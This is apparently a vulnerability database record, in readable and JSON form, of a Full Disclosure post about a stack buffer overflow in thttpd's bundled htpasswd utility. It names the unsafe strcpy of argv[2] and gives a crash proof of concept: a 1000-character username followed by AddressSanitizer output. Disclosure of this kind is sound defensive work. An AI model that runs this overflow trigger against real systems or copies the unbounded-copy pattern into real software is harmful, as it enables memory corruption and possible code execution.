GCVE-1988-2026-0315

Vulnerability from gna-1988 – Published: 2026-09-09 13:10 – Updated: 2026-09-11 08:16
VLAI
Title
thttpd v2.26 Stack-Based Buffer Overflow in thttpd htpasswd Utility Allows Local Memory Corruption
Summary
*Description:* A stack-based buffer overflow vulnerability exists in the htpasswd utility bundled with thttpd. The vulnerability occurs due to unsafe copying of a user-supplied command-line argument into a fixed-size stack buffer without proper bounds checking.Specifically, the program copies the username argument (argv[2]) into a local stack buffer using strcpy(). If an attacker supplies an overly long username, this results in a stack buffer overflow, leading to memory corruption and a process crash. Under certain conditions, this may be exploitable for arbitrary code execution. *Affected Component:* - File: extras/htpasswd.c - Function: main - Vulnerable line: strcpy(user, argv[2]); *Affected Versions:* - thttpd prior to latest release (all known versions shipping extras/htpasswd.c with this logic) *Impact: * - Denial of Service - potential arbitrary code execution *Vulnerability Details:* The vulnerable buffer is defined as: #define MAX_STRING_LEN 256 char user[MAX_STRING_LEN]; *Proof of Concept (PoC):* *Output/Payload:* # ./htpasswd -c passwdfile testuser Adding password for testuser. New password: Re-type new password: ================================================================= ==173875==ERROR: LeakSanitizer: detected memory leaks Direct leak of 5 byte(s) in 1 object(s) allocated from: #0 0xffffaa4fa578 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:67 #1 0xaaaade791c80 in strd /root/thttpd/extras/htpasswd.c:32 #2 0xaaaade792794 in add_password /root/thttpd/extras/htpasswd.c:122 #3 0xaaaade792ce4 in main /root/thttpd/extras/htpasswd.c:170 #4 0xffffaa1d2598 in __libc_start_call_main ../sysdeps/nptl /libc_start_call_main.h:58 #5 0xffffaa1d2678 in __libc_start_main_impl ../csu/libc-start.c:360 #6 0xaaaade791b6c in _start (/root/thttpd/extras/htpasswd+0x1b6c) (BuildId: 277fa93be8cbdf6cb9a0d89d15da163bf803f5a6) SUMMARY: AddressSanitizer: 5 byte(s) leaked in 1 allocation(s). root@ubuntu:~/thttpd/extras# ./htpasswd passwdfile $(python3 - << 'EOF' print("A" * 1000) EOF ) ================================================================= ==173879==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xfbffa1000120 at pc 0xffffa3214ff0 bp 0xfffff4000e10 sp 0xfffff40005f0 WRITE of size 1001 at 0xfbffa1000120 thread T0 #0 0xffffa3214fec in strcpy ../../../../src/libsanitizer/asan/asan_interceptors.cpp:568 #1 0xaaaad5172ee8 in main /root/thttpd/extras/htpasswd.c:187 #2 0xffffa2f42598 in __libc_start_call_main ../sysdeps/nptl /libc_start_call_main.h:58 #3 0xffffa2f42678 in __libc_start_main_impl ../csu/libc-start.c:360 #4 0xaaaad5171b6c in _start (/root/thttpd/extras/htpasswd+0x1b6c) (BuildId: 277fa93be8cbdf6cb9a0d89d15da163bf803f5a6) Address 0xfbffa1000120 is located in stack of thread T0 at offset 288 in frame #0 0xaaaad5172a30 in main /root/thttpd/extras/htpasswd.c:149 Ron Edgerson Vulnerability Researcher & Exploit Developer CVE Research | Binary Exploitation | Application & Systems Security Responsible Disclosure • Proof-of-Concept Development 🌐 https://github.com/ob1sec 🔗 https://www.linkedin.com/in/ronedgerson1 <https://linkedin.com/in/yourhandle> _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 556 records in the last 180 days details
References
Impacted products
Vendor Product Version CPE status
Thttpd thttpd Affected: unknown
guessed Create a notification for this product.
Credits
Ron E
To clipboard 

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "thttpd",
          "vendor": "Thttpd",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "*Description:*\nA stack-based buffer overflow vulnerability exists in the htpasswd utility\nbundled with thttpd. The vulnerability occurs due to unsafe copying of a\nuser-supplied command-line argument into a fixed-size stack buffer without\nproper bounds checking.Specifically, the program copies the username\nargument (argv[2]) into a local stack buffer using strcpy(). If an attacker\nsupplies an overly long username, this results in a stack buffer overflow,\nleading to memory corruption and a process crash. Under certain conditions,\nthis may be exploitable for arbitrary code execution.\n\n*Affected Component:*\n\n   - File: extras/htpasswd.c\n   - Function: main\n   - Vulnerable line: strcpy(user, argv[2]);\n\n\n*Affected Versions:*\n\n   - thttpd prior to latest release (all known versions shipping\n   extras/htpasswd.c with this logic)\n\n\n*Impact: *\n\n   - Denial of Service\n   - potential arbitrary code execution\n\n\n*Vulnerability Details:*\nThe vulnerable buffer is defined as:\n#define MAX_STRING_LEN 256\nchar user[MAX_STRING_LEN];\n\n*Proof of Concept (PoC):*\n*Output/Payload:*\n# ./htpasswd -c passwdfile testuser\nAdding password for testuser.\nNew password:\nRe-type new password:\n\n=================================================================\n==173875==ERROR: LeakSanitizer: detected memory leaks\n\nDirect leak of 5 byte(s) in 1 object(s) allocated from:\n    #0 0xffffaa4fa578 in malloc\n../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:67\n    #1 0xaaaade791c80 in strd /root/thttpd/extras/htpasswd.c:32\n    #2 0xaaaade792794 in add_password /root/thttpd/extras/htpasswd.c:122\n    #3 0xaaaade792ce4 in main /root/thttpd/extras/htpasswd.c:170\n    #4 0xffffaa1d2598 in __libc_start_call_main ../sysdeps/nptl\n/libc_start_call_main.h:58\n    #5 0xffffaa1d2678 in __libc_start_main_impl ../csu/libc-start.c:360\n    #6 0xaaaade791b6c in _start (/root/thttpd/extras/htpasswd+0x1b6c)\n(BuildId: 277fa93be8cbdf6cb9a0d89d15da163bf803f5a6)\n\nSUMMARY: AddressSanitizer: 5 byte(s) leaked in 1 allocation(s).\nroot@ubuntu:~/thttpd/extras# ./htpasswd passwdfile $(python3 - \u003c\u003c \u0027EOF\u0027\nprint(\"A\" * 1000)\nEOF\n)\n=================================================================\n==173879==ERROR: AddressSanitizer: stack-buffer-overflow on address\n0xfbffa1000120 at pc 0xffffa3214ff0 bp 0xfffff4000e10 sp 0xfffff40005f0\nWRITE of size 1001 at 0xfbffa1000120 thread T0\n    #0 0xffffa3214fec in strcpy\n../../../../src/libsanitizer/asan/asan_interceptors.cpp:568\n    #1 0xaaaad5172ee8 in main /root/thttpd/extras/htpasswd.c:187\n    #2 0xffffa2f42598 in __libc_start_call_main ../sysdeps/nptl\n/libc_start_call_main.h:58\n    #3 0xffffa2f42678 in __libc_start_main_impl ../csu/libc-start.c:360\n    #4 0xaaaad5171b6c in _start (/root/thttpd/extras/htpasswd+0x1b6c)\n(BuildId: 277fa93be8cbdf6cb9a0d89d15da163bf803f5a6)\n\nAddress 0xfbffa1000120 is located in stack of thread T0 at offset 288 in\nframe\n    #0 0xaaaad5172a30 in main /root/thttpd/extras/htpasswd.c:149\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T08:16:46Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/15"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/15"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/15"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "thttpd v2.26 Stack-Based Buffer Overflow in thttpd htpasswd Utility Allows Local Memory Corruption",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0315",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/15",
            "automated": true,
            "contentSha256": "6a462e368dd5a48691eb4592372e18f5441b4cd8b5961383b7ab1e5f286d49f0",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/15",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-30T23:48:25Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-09T13:10:29Z",
    "dateUpdated": "2026-09-11T08:16:46Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0315"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Loading timeline…




    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.